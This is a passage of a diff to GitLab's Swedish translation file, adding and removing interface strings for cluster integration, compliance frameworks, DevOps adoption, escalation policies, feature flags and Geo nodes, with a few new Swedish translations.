-msgid "ClusterIntegration|Knative extends Kubernetes to provide a set of middleware components that are essential to build modern, source-centric, and container-based applications that can run anywhere: on premises, in the cloud, or even in a third-party data center."
-msgstr ""
-
msgid "ClusterIntegration|Kubernetes cluster is being created..."
msgstr ""
@@ -7405,9 +7312,6 @@ msgstr ""
msgid "ClusterIntegration|Learn more about instance Kubernetes clusters"
msgstr ""
-msgid "ClusterIntegration|Legacy Helm Tiller server"
-msgstr ""
-
msgid "ClusterIntegration|Loading IAM Roles"
msgstr ""
@@ -7456,12 +7360,6 @@ msgstr ""
msgid "ClusterIntegration|No VPCs found"
msgstr ""
-msgid "ClusterIntegration|No deployment cluster found for this job"
-msgstr ""
-
-msgid "ClusterIntegration|No deployment found for this job"
-msgstr ""
-
msgid "ClusterIntegration|No instance type found"
msgstr ""
@@ -7504,9 +7402,6 @@ msgstr ""
msgid "ClusterIntegration|Please make sure that your Google account meets the following requirements:"
msgstr ""
-msgid "ClusterIntegration|Point a wildcard DNS to this generated endpoint in order to access your application after it has been deployed."
-msgstr ""
-
msgid "ClusterIntegration|Project cluster"
msgstr ""
@@ -7516,15 +7411,6 @@ msgstr ""
msgid "ClusterIntegration|Project namespace prefix (optional, unique)"
msgstr ""
-msgid "ClusterIntegration|Prometheus"
-msgstr ""
-
-msgid "ClusterIntegration|Prometheus is an open-source monitoring system with %{linkStart}GitLab Integration%{linkEnd} to monitor deployed applications."
-msgstr ""
-
-msgid "ClusterIntegration|Protect your clusters with GitLab Container Network Policies by enforcing how pods communicate with each other and other network endpoints. %{linkStart}Learn more about configuring Network Policies here.%{linkEnd}"
-msgstr ""
-
msgid "ClusterIntegration|Provider details"
msgstr ""
@@ -7561,24 +7447,6 @@ msgstr ""
msgid "ClusterIntegration|Removes cluster from project but keeps associated resources"
msgstr ""
-msgid "ClusterIntegration|Replace this with your own hostname if you want. If you do so, point hostname to Ingress IP Address from above."
-msgstr ""
-
-msgid "ClusterIntegration|Request to begin installing failed"
-msgstr ""
-
-msgid "ClusterIntegration|Request to begin uninstalling failed"
-msgstr ""
-
-msgid "ClusterIntegration|SIEM Hostname"
-msgstr ""
-
-msgid "ClusterIntegration|SIEM Port"
-msgstr ""
-
-msgid "ClusterIntegration|SIEM Protocol"
-msgstr ""
-
msgid "ClusterIntegration|Save changes"
msgstr ""
@@ -7591,9 +7459,6 @@ msgstr ""
msgid "ClusterIntegration|Search VPCs"
msgstr ""
-msgid "ClusterIntegration|Search domains"
-msgstr ""
-
msgid "ClusterIntegration|Search instance types"
msgstr ""
@@ -7642,15 +7507,9 @@ msgstr ""
msgid "ClusterIntegration|Select a region to choose a VPC"
msgstr ""
-msgid "ClusterIntegration|Select a stack to install Crossplane."
-msgstr ""
-
msgid "ClusterIntegration|Select a zone to choose a network"
msgstr ""
-msgid "ClusterIntegration|Select existing domain or use new"
-msgstr ""
-
msgid "ClusterIntegration|Select machine type"
msgstr ""
@@ -7675,9 +7534,6 @@ msgstr ""
msgid "ClusterIntegration|Select zone to choose machine type"
msgstr ""
-msgid "ClusterIntegration|Send Container Network Policies Logs"
-msgstr ""
-
msgid "ClusterIntegration|Service Token"
msgstr ""
@@ -7696,27 +7552,12 @@ msgstr ""
msgid "ClusterIntegration|Something went wrong while creating your Kubernetes cluster"
msgstr ""
-msgid "ClusterIntegration|Something went wrong while installing %{title}"
-msgstr ""
-
-msgid "ClusterIntegration|Something went wrong while trying to save your settings. Please try again."
-msgstr ""
-
-msgid "ClusterIntegration|Something went wrong while uninstalling %{title}"
-msgstr ""
-
-msgid "ClusterIntegration|Something went wrong while updating Knative domain name."
-msgstr ""
-
msgid "ClusterIntegration|Specifying a domain will allow you to use Auto Review Apps and Auto Deploy stages for %{linkStart}Auto DevOps.%{linkEnd} The domain should have a wildcard DNS configured matching the domain. "
msgstr ""
msgid "ClusterIntegration|Subnets"
msgstr ""
-msgid "ClusterIntegration|The %{gitlabNamespace} namespace"
-msgstr ""
-
msgid "ClusterIntegration|The Amazon Resource Name (ARN) associated with your role. If you do not have a provision role, first create one on %{startAwsLink}Amazon Web Services %{externalLinkIcon}%{endLink} using the above account and external IDs. %{startMoreInfoLink}More information%{endLink}"
msgstr ""
@@ -7726,24 +7567,6 @@ msgstr ""
msgid "ClusterIntegration|The URL used to access the Kubernetes API."
msgstr ""
-msgid "ClusterIntegration|The associated IP and all deployed services will be deleted and cannot be restored. Uninstalling Knative will also remove Istio from your cluster. This will not effect any other applications."
-msgstr ""
-
-msgid "ClusterIntegration|The associated Tiller pod will be deleted and cannot be restored. Your other applications will remain unaffected."
-msgstr ""
-
-msgid "ClusterIntegration|The associated load balancer and IP will be deleted and cannot be restored."
-msgstr ""
-
-msgid "ClusterIntegration|The associated private key will be deleted and cannot be restored."
-msgstr ""
-
-msgid "ClusterIntegration|The elastic stack collects logs from all pods in your cluster"
-msgstr ""
-
-msgid "ClusterIntegration|The endpoint is in the process of being assigned. Please check your Kubernetes cluster or Quotas on Google Kubernetes Engine if it takes a long time."
-msgstr ""
-
msgid "ClusterIntegration|The namespace associated with your project. This will be used for deploy boards, logs, and Web terminals."
msgstr ""
@@ -7774,9 +7597,6 @@ msgstr ""
msgid "ClusterIntegration|This will permanently delete the following resources:"
msgstr ""
-msgid "ClusterIntegration|To access your application after deployment, point a wildcard DNS to the Knative Endpoint."
-msgstr ""
-
msgid "ClusterIntegration|To create a cluster, first create a project on %{docsLinkStart}Google Cloud Platform%{docsLinkEnd}."
msgstr ""
@@ -7798,21 +7618,9 @@ msgstr ""
msgid "ClusterIntegration|Unable to Connect"
msgstr ""
-msgid "ClusterIntegration|Uninstall %{appTitle}"
-msgstr ""
-
msgid "ClusterIntegration|Unknown Error"
msgstr ""
-msgid "ClusterIntegration|Update %{appTitle}"
-msgstr ""
-
-msgid "ClusterIntegration|Update failed. Please check the logs and try again."
-msgstr ""
-
-msgid "ClusterIntegration|Use %{query}"
-msgstr ""
-
msgid "ClusterIntegration|Uses the Cloud Run, Istio, and HTTP Load Balancing addons for this cluster."
msgstr ""
@@ -7837,27 +7645,12 @@ msgstr ""
msgid "ClusterIntegration|You are about to remove your cluster integration."
msgstr ""
-msgid "ClusterIntegration|You are about to uninstall %{appTitle} from your cluster."
-msgstr ""
-
-msgid "ClusterIntegration|You are about to update %{appTitle} on your cluster."
-msgstr ""
-
msgid "ClusterIntegration|You must grant access to your organization’s AWS resources in order to create a new EKS cluster. To grant access, create a provision role using the account and external ID below and provide us the ARN."
msgstr ""
-msgid "ClusterIntegration|You must have an RBAC-enabled cluster to install Knative."
-msgstr ""
-
-msgid "ClusterIntegration|You must specify a domain before you can install Knative."
-msgstr ""
-
msgid "ClusterIntegration|You should select at least two subnets"
msgstr ""
-msgid "ClusterIntegration|Your Elasticsearch cluster will be re-created during this upgrade. Your logs will be re-indexed, and you will lose historical logs from hosts terminated in the last 30 days."
-msgstr ""
-
msgid "ClusterIntegration|Your account must have %{link_to_kubernetes_engine}"
msgstr ""
@@ -7873,12 +7666,6 @@ msgstr ""
msgid "ClusterIntegration|access to Google Kubernetes Engine"
msgstr ""
-msgid "ClusterIntegration|can be used instead of a custom domain. "
-msgstr ""
-
-msgid "ClusterIntegration|installed via %{linkStart}Cloud Run%{linkEnd}"
-msgstr ""
-
msgid "ClusterIntegration|meets the requirements"
msgstr ""
@@ -7951,6 +7738,9 @@ msgstr ""
msgid "Code owners"
msgstr ""
+msgid "Code review"
+msgstr ""
+
msgid "Code snippet copied. Insert it in the correct location in the YAML file."
msgstr ""
@@ -7966,9 +7756,15 @@ msgstr ""
msgid "CodeQuality|Code quality"
msgstr ""
+msgid "CodeQuality|Code quality: %{severity} - %{description}"
+msgstr ""
+
msgid "CodeQuality|New code quality degradations in this file"
msgstr ""
+msgid "CodeQuality|New code quality degradations on this line"
+msgstr ""
+
msgid "CodeQuality|Some changes in this file degrade the code quality."
msgstr ""
@@ -8265,9 +8061,6 @@ msgstr ""
msgid "ComplianceFrameworks|Add framework"
msgstr ""
-msgid "ComplianceFrameworks|All"
-msgstr ""
-
msgid "ComplianceFrameworks|Combines with the CI configuration at runtime."
msgstr ""
@@ -8304,9 +8097,6 @@ msgstr ""
msgid "ComplianceFrameworks|Once a compliance framework is added it will appear here."
msgstr ""
-msgid "ComplianceFrameworks|Regulated"
-msgstr ""
-
msgid "ComplianceFrameworks|There are no compliance frameworks set up yet"
msgstr ""
@@ -8325,42 +8115,9 @@ msgstr ""
msgid "ComplianceFramework|Edit Compliance Framework"
msgstr ""
-msgid "ComplianceFramework|GDPR"
-msgstr ""
-
-msgid "ComplianceFramework|GDPR - General Data Protection Regulation"
-msgstr ""
-
-msgid "ComplianceFramework|HIPAA"
-msgstr ""
-
-msgid "ComplianceFramework|HIPAA - Health Insurance Portability and Accountability Act"
-msgstr ""
-
msgid "ComplianceFramework|New Compliance Framework"
msgstr ""
-msgid "ComplianceFramework|PCI-DSS"
-msgstr ""
-
-msgid "ComplianceFramework|PCI-DSS - Payment Card Industry-Data Security Standard"
-msgstr ""
-
-msgid "ComplianceFramework|SOC 2"
-msgstr ""
-
-msgid "ComplianceFramework|SOC 2 - Service Organization Control 2"
-msgstr ""
-
-msgid "ComplianceFramework|SOX"
-msgstr ""
-
-msgid "ComplianceFramework|SOX - Sarbanes-Oxley"
-msgstr ""
-
-msgid "ComplianceFramework|This project is regulated by %{framework}."
-msgstr ""
-
msgid "Component"
msgstr ""
@@ -8368,10 +8125,10 @@ msgid "Confidence"
msgstr ""
msgid "Confidential"
-msgstr ""
+msgstr "Konfidentiell"
msgid "Confidentiality"
-msgstr ""
+msgstr "Konfidentialitet"
msgid "Configuration"
msgstr ""
@@ -8379,6 +8136,9 @@ msgstr ""
msgid "Configuration help"
msgstr ""
+msgid "Configure %{link} to track events. %{link_start}Learn more.%{link_end}"
+msgstr ""
+
msgid "Configure GitLab runners to start using the Web Terminal. %{helpStart}Learn more.%{helpEnd}"
msgstr ""
@@ -8629,6 +8389,9 @@ msgstr ""
msgid "ContainerRegistry|Cleanup pending"
msgstr ""
+msgid "ContainerRegistry|Cleanup policies are now available for this project. %{linkStart}Click here to get started.%{linkEnd}"
+msgstr ""
+
msgid "ContainerRegistry|Cleanup policy for tags is disabled"
msgstr ""
@@ -8982,7 +8745,7 @@ msgstr ""
msgid "Control emails linked to your account"
msgstr ""
-msgid "Control the display of third party offers."
+msgid "Control whether to display third-party offers in GitLab."
msgstr ""
msgid "Cookie domain"
@@ -9021,6 +8784,9 @@ msgstr ""
msgid "Copy ID"
msgstr ""
+msgid "Copy IP Address"
+msgstr ""
+
msgid "Copy KRB5 clone URL"
msgstr ""
@@ -9087,6 +8853,9 @@ msgstr ""
msgid "Copy the code below to implement tracking in your application:"
msgstr ""
+msgid "Copy this registration token."
+msgstr ""
+
msgid "Copy this value"
msgstr ""
@@ -9277,7 +9046,7 @@ msgid "Create %{type}"
msgstr ""
msgid "Create New Directory"
-msgstr ""
+msgstr "Skapa ny katalog"
msgid "Create New Domain"
msgstr ""
@@ -9327,9 +9096,6 @@ msgstr ""
msgid "Create blank project"
msgstr ""
-msgid "Create blank project/repository"
-msgstr ""
-
msgid "Create branch"
msgstr ""
@@ -9343,7 +9109,7 @@ msgid "Create confidential merge request and branch"
msgstr ""
msgid "Create directory"
-msgstr ""
+msgstr "Skapa katalog"
msgid "Create empty repository"
msgstr ""
@@ -9406,16 +9172,16 @@ msgid "Create new branch"
msgstr ""
msgid "Create new confidential %{issuableType}"
-msgstr ""
+msgstr "Skapa ny konfidentiell %{issuableType}"
msgid "Create new directory"
-msgstr ""
+msgstr "Skapa ny katalog"
msgid "Create new file"
msgstr ""
msgid "Create new file or directory"
-msgstr ""
+msgstr "Skapa ny fil eller katalog"
msgid "Create new label"
msgstr ""
@@ -9456,9 +9222,6 @@ msgstr ""
msgid "Create your group"
msgstr ""
-msgid "Create your own profile to collaborate with your teammates in issues, merge requests, and more."
-msgstr ""
-
msgid "Create/import your first project"
msgstr ""
@@ -9690,6 +9453,12 @@ msgstr ""
msgid "CredentialsInventory|SSH Keys"
msgstr ""
+msgid "Credit card validated at:"
+msgstr ""
+
+msgid "Credit card validated:"
+msgstr ""
+
msgid "Critical vulnerabilities present"
msgstr ""
@@ -9699,9 +9468,6 @@ msgstr ""
msgid "Cron time zone"
msgstr ""
-msgid "Crossplane"
-msgstr ""
-
msgid "Crowd"
msgstr ""
@@ -9717,9 +9483,6 @@ msgstr ""
msgid "Current forks will keep their visibility level."
msgstr ""
-msgid "Current node"
-msgstr ""
-
msgid "Current node must be the primary node or you will be locking yourself out"
msgstr ""
@@ -9795,6 +9558,9 @@ msgstr ""
msgid "Customizable by owners."
msgstr ""
+msgid "Customize CI/CD settings, including Auto DevOps, shared runners, and job artifacts."
+msgstr ""
+
msgid "Customize colors"
msgstr ""
@@ -10012,9 +9778,6 @@ msgstr ""
msgid "DAST Scans"
msgstr ""
-msgid "DAST Settings"
-msgstr ""
-
msgid "DNS"
msgstr ""
@@ -10081,6 +9844,18 @@ msgstr ""
msgid "Dashboard|Unable to add %{invalidProjects}. This dashboard is available for public projects, and private projects in groups with a Premium plan."
msgstr ""
+msgid "DastConfig|Customize DAST settings to suit your requirements. Configuration changes made here override those provided by GitLab and are excluded from updates. For details of more advanced configuration options, see the %{docsLinkStart}GitLab DAST documentation%{docsLinkEnd}."
+msgstr ""
+
+msgid "DastConfig|DAST Settings"
+msgstr ""
+
+msgid "DastConfig|Generate code snippet"
+msgstr ""
+
+msgid "DastConfig|Scan Configuration"
+msgstr ""
+
msgid "DastProfiles|A passive scan monitors all HTTP messages (requests and responses) sent to the target. An active scan attacks the target to find potential vulnerabilities."
msgstr ""
@@ -10440,9 +10215,6 @@ msgstr ""
msgid "Date range"
msgstr ""
-msgid "Date range cannot exceed %{maxDateRange} days."
-msgstr ""
-
msgid "Date range must be shorter than %{max_range} days."
msgstr ""
@@ -10467,6 +10239,9 @@ msgstr ""
msgid "Days to merge"
msgstr ""
+msgid "Deactivate dormant users after 90 days of inactivity. Users can return to active status by signing in to their account. While inactive, a user is not counted as an active user in the instance."
+msgstr ""
+
msgid "Deactivate this user"
msgstr ""
@@ -10500,7 +10275,7 @@ msgstr ""
msgid "Default"
msgstr ""
-msgid "Default CI configuration path"
+msgid "Default CI/CD configuration file"
msgstr ""
msgid "Default Timeout Period"
@@ -10620,6 +10395,9 @@ msgstr ""
msgid "Delete domain"
msgstr ""
+msgid "Delete file"
+msgstr ""
+
msgid "Delete image repository"
msgstr ""
@@ -11291,12 +11069,30 @@ msgstr ""
msgid "DevOps Report"
msgstr ""
+msgid "DevOps adoption"
+msgstr ""
+
+msgid "DevopsAdoption|%{adoptedCount}/%{featuresCount} %{title} features adopted"
+msgstr ""
+
msgid "DevopsAdoption|Add Group"
msgstr ""
msgid "DevopsAdoption|Add a group to get started"
msgstr ""
+msgid "DevopsAdoption|Add group"
+msgstr ""
+
+msgid "DevopsAdoption|Add group to table"
+msgstr ""
+
+msgid "DevopsAdoption|Add sub-group"
+msgstr ""
+
+msgid "DevopsAdoption|Add sub-group to table"
+msgstr ""
+
msgid "DevopsAdoption|Add/remove groups"
msgstr ""
@@ -11354,7 +11150,7 @@ msgstr ""
msgid "DevopsAdoption|DevOps adoption tracks the use of key features across your favorite groups. Add a group to the table to begin."
msgstr ""
-msgid "DevopsAdoption|Feature adoption is based on usage in the current calendar month. Last updated: %{timestamp}."
+msgid "DevopsAdoption|Feature adoption is based on usage in the previous calendar month. Last updated: %{timestamp}."
msgstr ""
msgid "DevopsAdoption|Filter by name"
@@ -11366,21 +11162,24 @@ msgstr ""
msgid "DevopsAdoption|MRs"
msgstr ""
-msgid "DevopsAdoption|Maximum %{maxSegments} groups allowed"
-msgstr ""
-
msgid "DevopsAdoption|My group"
msgstr ""
msgid "DevopsAdoption|No filter results."
msgstr ""
+msgid "DevopsAdoption|No results…"
+msgstr ""
+
msgid "DevopsAdoption|Not adopted"
msgstr ""
msgid "DevopsAdoption|Ops"
msgstr ""
+msgid "DevopsAdoption|Overall adoption"
+msgstr ""
+
msgid "DevopsAdoption|Pipelines"
msgstr ""
@@ -11414,6 +11213,9 @@ msgstr ""
msgid "DevopsAdoption|There was an error fetching Groups. Please refresh the page."
msgstr ""
+msgid "DevopsAdoption|This group has no sub-groups"
+msgstr ""
+
msgid "DevopsAdoption|You cannot remove the group you are currently in."
msgstr ""
@@ -11435,6 +11237,9 @@ msgstr ""
msgid "DevopsReport|Moderate"
msgstr ""
+msgid "DevopsReport|Overview"
+msgstr ""
+
msgid "DevopsReport|Score"
msgstr ""
@@ -11453,15 +11258,12 @@ msgstr ""
msgid "Didn't receive unlock instructions?"
msgstr ""
-msgid "Diff content limits"
+msgid "Diff files surpassing this limit will be presented as 'too large' and won't be expandable."
msgstr ""
msgid "Diff limits"
msgstr ""
-msgid "Diff view settings"
-msgstr ""
-
msgid "Difference between start date and now"
msgstr ""
@@ -11490,7 +11292,7 @@ msgid "Direction"
msgstr ""
msgid "Directory name"
-msgstr ""
+msgstr "Katalognamn"
msgid "Disable"
msgstr ""
@@ -11647,7 +11449,7 @@ msgstr ""
msgid "Display source"
msgstr ""
-msgid "Do not display offers from third parties within GitLab"
+msgid "Do not display offers from third parties"
msgstr ""
msgid "Do you want to remove this deploy key?"
@@ -11698,7 +11500,7 @@ msgstr ""
msgid "Don't paste the private part of the GPG key. Paste the public part which begins with '-----BEGIN PGP PUBLIC KEY BLOCK-----'."
msgstr ""
-msgid "Don't send usage data"
+msgid "Don't send service data"
msgstr ""
msgid "Don't show again"
@@ -11707,6 +11509,9 @@ msgstr ""
msgid "Done"
msgstr ""
+msgid "Dormant users"
+msgstr ""
+
msgid "Download"
msgstr ""
@@ -11923,9 +11728,6 @@ msgstr ""
msgid "Edit iteration"
msgstr ""
-msgid "Edit iteration cadence"
-msgstr ""
-
msgid "Edit public deploy key"
msgstr ""
@@ -11959,9 +11761,6 @@ msgstr ""
msgid "Editing"
msgstr ""
-msgid "Editor Lite instance is required to set up an extension."
-msgstr ""
-
msgid "Elapsed time"
msgstr ""
@@ -12022,6 +11821,9 @@ msgstr ""
msgid "Email display name"
msgstr ""
+msgid "Email from GitLab - email users right from the Admin Area. %{link_start}Learn more%{link_end}."
+msgstr ""
+
msgid "Email not verified. Please verify your email in Salesforce."
msgstr ""
@@ -12151,6 +11953,9 @@ msgstr ""
msgid "Enable Kroki"
msgstr ""
+msgid "Enable Mailgun event receiver"
+msgstr ""
+
msgid "Enable PlantUML"
msgstr ""
@@ -12160,13 +11965,16 @@ msgstr ""
msgid "Enable Pseudonymizer data collection"
msgstr ""
+msgid "Enable Registration Features"
+msgstr ""
+
msgid "Enable Repository Checks"
msgstr ""
msgid "Enable SSL verification"
msgstr ""
-msgid "Enable Seat Link"
+msgid "Enable Snowplow tracking"
msgstr ""
msgid "Enable Spam Check via external API endpoint"
@@ -12247,13 +12055,10 @@ msgstr ""
msgid "Enable mirror configuration"
msgstr ""
-msgid "Enable or disable Seat Link."
-msgstr ""
-
msgid "Enable or disable the Pseudonymizer data collection."
msgstr ""
-msgid "Enable or disable version check and usage ping."
+msgid "Enable or disable version check and service ping."
msgstr ""
msgid "Enable protected paths rate limit"
@@ -12271,6 +12076,9 @@ msgstr ""
msgid "Enable reCAPTCHA, Invisible Captcha, Akismet and set IP limits. For reCAPTCHA, we currently only support %{recaptcha_v2_link_start}v2%{recaptcha_v2_link_end}"
msgstr ""
+msgid "Enable service ping"
+msgstr ""
+
msgid "Enable shared runners for all projects and subgroups in this group."
msgstr ""
@@ -12286,9 +12094,6 @@ msgstr ""
msgid "Enable smartcn custom analyzer: Search"
msgstr ""
-msgid "Enable snowplow tracking"
-msgstr ""
-
msgid "Enable two-factor authentication"
msgstr ""
@@ -12298,9 +12103,6 @@ msgstr ""
msgid "Enable unauthenticated request rate limit"
msgstr ""
-msgid "Enable usage ping"
-msgstr ""
-
msgid "Enable version check"
msgstr ""
@@ -12430,6 +12232,9 @@ msgstr ""
msgid "Enter your password to approve"
msgstr ""
+msgid "Enterprise"
+msgstr ""
+
msgid "Environment"
msgstr ""
@@ -12595,9 +12400,6 @@ msgstr ""
msgid "Environments|Logs from %{start} to %{end}."
msgstr ""
-msgid "Environments|Managed apps"
-msgstr ""
-
msgid "Environments|More information"
msgstr ""
@@ -13078,7 +12880,7 @@ msgstr ""
msgid "Escalation policies"
msgstr ""
-msgid "Escalation policies are not supported for this project"
+msgid "Escalation policies must have at least one rule"
msgstr ""
msgid "EscalationPolicies|+ Add an additional rule"
@@ -13087,30 +12889,54 @@ msgstr ""
msgid "EscalationPolicies|A schedule is required for adding an escalation policy."
msgstr ""
+msgid "EscalationPolicies|A schedule is required for adding an escalation policy. Please create an on-call schedule first."
+msgstr ""
+
msgid "EscalationPolicies|Add an escalation policy"
msgstr ""
msgid "EscalationPolicies|Add escalation policy"
msgstr ""
+msgid "EscalationPolicies|Add policy"
+msgstr ""
+
+msgid "EscalationPolicies|Are you sure you want to delete the \"%{escalationPolicy}\" escalation policy? This action cannot be undone."
+msgstr ""
+
msgid "EscalationPolicies|Create an escalation policy in GitLab"
msgstr ""
+msgid "EscalationPolicies|Delete escalation policy"
+msgstr ""
+
msgid "EscalationPolicies|Edit escalation policy"
msgstr ""
+msgid "EscalationPolicies|Elapsed time must be greater than or equal to zero."
+msgstr ""
+
msgid "EscalationPolicies|Email on-call user in schedule"
msgstr ""
+msgid "EscalationPolicies|Escalation policies"
+msgstr ""
+
msgid "EscalationPolicies|Escalation rules"
msgstr ""
msgid "EscalationPolicies|Failed to load oncall-schedules"
msgstr ""
+msgid "EscalationPolicies|IF alert is not %{alertStatus} in %{minutes} %{then} THEN %{doAction} %{schedule}"
+msgstr ""
+
msgid "EscalationPolicies|IF alert is not %{alertStatus} in %{minutes} minutes"
msgstr ""
+msgid "EscalationPolicies|Remove escalation rule"
+msgstr ""
+
msgid "EscalationPolicies|Select schedule"
msgstr ""
@@ -13120,6 +12946,15 @@ msgstr ""
msgid "EscalationPolicies|THEN %{doAction} %{schedule}"
msgstr ""
+msgid "EscalationPolicies|The escalation policy could not be deleted. Please try again."
+msgstr ""
+
+msgid "EscalationPolicies|The escalation policy could not be updated. Please try again"
+msgstr ""
+
+msgid "EscalationPolicies|mins"
+msgstr ""
+
msgid "Estimate"
msgstr ""
@@ -13156,9 +12991,6 @@ msgstr ""
msgid "Events"
msgstr ""
-msgid "Events in %{project_path}"
-msgstr ""
-
msgid "Every %{action} attempt has failed: %{job_error_message}. Please try again."
msgstr ""
@@ -13302,7 +13134,7 @@ msgstr ""
msgid "Experienced"
msgstr ""
-msgid "ExperimentSubject|Must have exactly one of User, Group, or Project."
+msgid "ExperimentSubject|Must have exactly one of User, Namespace, or Project."
msgstr ""
msgid "Expiration"
@@ -13323,9 +13155,6 @@ msgstr ""
msgid "Expires"
msgstr ""
-msgid "Expires at"
-msgstr ""
-
msgid "Expires at (optional)"
msgstr ""
@@ -13422,9 +13251,6 @@ msgstr ""
msgid "External storage authentication token"
msgstr ""
-msgid "External url has already been taken"
-msgstr ""
-
msgid "ExternalAuthorizationService|Classification label"
msgstr ""
@@ -13443,9 +13269,6 @@ msgstr ""
msgid "ExternalWikiService|https://example.com/xxx/wiki/..."
msgstr ""
-msgid "Externally installed"
-msgstr ""
-
msgid "Facebook"
msgstr ""
@@ -13731,9 +13554,6 @@ msgstr ""
msgid "Feature Flags"
msgstr ""
-msgid "Feature flag is not enabled on the environment's project."
-msgstr ""
-
msgid "Feature flag status"
msgstr ""
@@ -13763,9 +13583,6 @@ msgstr ""
msgid "FeatureFlags|* (All Environments)"
msgstr ""
-msgid "FeatureFlags|* (All environments)"
-msgstr ""
-
msgid "FeatureFlags|API URL"
msgstr ""
@@ -13814,9 +13631,6 @@ msgstr ""
msgid "FeatureFlags|Enable features for specific users and environments by configuring feature flag strategies."
msgstr ""
-msgid "FeatureFlags|Environment Spec"
-msgstr ""
-
msgid "FeatureFlags|Environment Specs"
msgstr ""
@@ -13847,9 +13661,6 @@ msgstr ""
msgid "FeatureFlags|Feature flags limit reached (%{featureFlagsLimit}). Delete one or more feature flags before adding new ones."
msgstr ""
-msgid "FeatureFlags|Flag is read-only"
-msgstr ""
-
msgid "FeatureFlags|Get started with feature flags"
msgstr ""
@@ -13865,9 +13676,6 @@ msgstr ""
msgid "FeatureFlags|Inactive flag for %{scope}"
msgstr ""
-msgid "FeatureFlags|Include additional user IDs"
-msgstr ""
-
msgid "FeatureFlags|Install a %{docsLinkAnchoredStart}compatible client library%{docsLinkAnchoredEnd} and specify the API URL, application name, and instance ID during the configuration setup. %{docsLinkStart}More Information%{docsLinkEnd}"
msgstr ""
@@ -13907,24 +13715,12 @@ msgstr ""
msgid "FeatureFlags|Percent rollout"
msgstr ""
-msgid "FeatureFlags|Percent rollout (logged in users)"
-msgstr ""
-
msgid "FeatureFlags|Percent rollout must be an integer number between 0 and 100"
msgstr ""
-msgid "FeatureFlags|Protected"
-msgstr ""
-
msgid "FeatureFlags|Remove"
msgstr ""
-msgid "FeatureFlags|Rollout Percentage"
-msgstr ""
-
-msgid "FeatureFlags|Rollout Strategy"
-msgstr ""
-
msgid "FeatureFlags|Set the Unleash client application name to the name of the environment your application runs in. This value is used to match environment scopes. See the %{linkStart}example client configuration%{linkEnd}."
msgstr ""
@@ -13934,9 +13730,6 @@ msgstr ""
msgid "FeatureFlags|Strategies"
msgstr ""
-msgid "FeatureFlags|Target environments"
-msgstr ""
-
msgid "FeatureFlags|There was an error fetching the feature flags."
msgstr ""
@@ -14020,9 +13813,6 @@ msgstr ""
msgid "File deleted"
msgstr ""
-msgid "File format is no longer supported"
-msgstr ""
-
msgid "File hooks are similar to system hooks but are executed as files instead of sending data to a URL."
msgstr ""
@@ -14038,6 +13828,9 @@ msgstr ""
msgid "File renamed with no changes."
msgstr ""
+msgid "File suppressed by a .gitattributes entry or the file's encoding is unsupported."
+msgstr ""
+
msgid "File synchronization concurrency limit"
msgstr ""
@@ -14104,9 +13897,6 @@ msgstr ""
msgid "Filter by name"
msgstr ""
-msgid "Filter by status"
-msgstr ""
-
msgid "Filter by test cases that are currently archived."
msgstr ""
@@ -14275,6 +14065,9 @@ msgstr ""
msgid "For each job, re-use the project workspace. If the workspace doesn't exist, use %{code_open}git clone%{code_close}."
msgstr ""
+msgid "For example, the application using the token or the purpose of the token."
+msgstr ""
+
msgid "For general work"
msgstr ""
@@ -14296,10 +14089,7 @@ msgstr ""
msgid "For more information, see the File Hooks documentation."
msgstr ""
-msgid "For more information, see the documentation on %{deactivating_usage_ping_link_start}deactivating the usage ping%{deactivating_usage_ping_link_end}."
-msgstr ""
-
-msgid "For more information, see the documentation on %{link_start}disabling Seat Link%{link_end}."
+msgid "For more information, see the documentation on %{deactivating_service_ping_link_start}deactivating service ping%{deactivating_service_ping_link_end}."
msgstr ""
msgid "Forgot your password?"
@@ -14503,159 +14293,21 @@ msgstr ""
msgid "Geo Nodes"
msgstr ""
-msgid "Geo Nodes|Cannot remove a primary node if there is a secondary node"
-msgstr ""
-
msgid "Geo Replication"
msgstr ""
msgid "Geo Settings"
msgstr ""
-msgid "Geo nodes are paused using a command run on the node"
-msgstr ""
-
msgid "Geo sites"
msgstr ""
-msgid "GeoNodeStatusEvent|%{timeAgoStr} (%{pendingEvents} events)"
-msgstr ""
-
-msgid "GeoNodeSyncStatus|Node is failing or broken."
-msgstr ""
-
-msgid "GeoNodeSyncStatus|Node is slow, overloaded, or it just recovered after an outage."
-msgstr ""
-
-msgid "GeoNodes|Consult Geo troubleshooting information"
-msgstr ""
-
-msgid "GeoNodes|Data replication lag"
-msgstr ""
-
-msgid "GeoNodes|Does not match the primary storage configuration"
-msgstr ""
-
-msgid "GeoNodes|Full"
-msgstr ""
-
-msgid "GeoNodes|GitLab version"
-msgstr ""
-
-msgid "GeoNodes|GitLab version does not match the primary node version"
-msgstr ""
-
-msgid "GeoNodes|Health status"
-msgstr ""
-
-msgid "GeoNodes|Internal URL"
-msgstr ""
-
-msgid "GeoNodes|Last event ID processed by cursor"
-msgstr ""
-
-msgid "GeoNodes|Last event ID seen from primary"
-msgstr ""
-
-msgid "GeoNodes|Learn more about Geo node statuses"
-msgstr ""
-
-msgid "GeoNodes|Loading nodes"
-msgstr ""
-
-msgid "GeoNodes|New node"
-msgstr ""
-
-msgid "GeoNodes|Node Authentication was successfully repaired."
-msgstr ""
-
-msgid "GeoNodes|Node URL"
-msgstr ""
-
-msgid "GeoNodes|Node was successfully removed."
-msgstr ""
-
-msgid "GeoNodes|Node's status was updated %{timeAgo}."
-msgstr ""
-
-msgid "GeoNodes|Pausing replication stops the sync process. Are you sure?"
-msgstr ""
-
-msgid "GeoNodes|Removing a Geo primary node stops the synchronization to all nodes. Are you sure?"
-msgstr ""
-
-msgid "GeoNodes|Removing a Geo secondary node stops the synchronization to that node. Are you sure?"
-msgstr ""
-
-msgid "GeoNodes|Replicated data is verified with the %{nodeText} using checksums"
-msgstr ""
-
-msgid "GeoNodes|Replication slot WAL"
-msgstr ""
-
-msgid "GeoNodes|Replication slots"
-msgstr ""
-
-msgid "GeoNodes|Replication status"
-msgstr ""
-
-msgid "GeoNodes|Selective (%{syncLabel})"
-msgstr ""
-
-msgid "GeoNodes|Selective synchronization"
-msgstr ""
-
-msgid "GeoNodes|Something went wrong while changing node status"
-msgstr ""
-
-msgid "GeoNodes|Something went wrong while fetching nodes"
-msgstr ""
-
-msgid "GeoNodes|Something went wrong while removing node"
-msgstr ""
-
-msgid "GeoNodes|Something went wrong while repairing node"
-msgstr ""
-
-msgid "GeoNodes|Storage config"
-msgstr ""
-
-msgid "GeoNodes|Sync settings"
-msgstr ""
-
-msgid "GeoNodes|Unused slots"
-msgstr ""
-
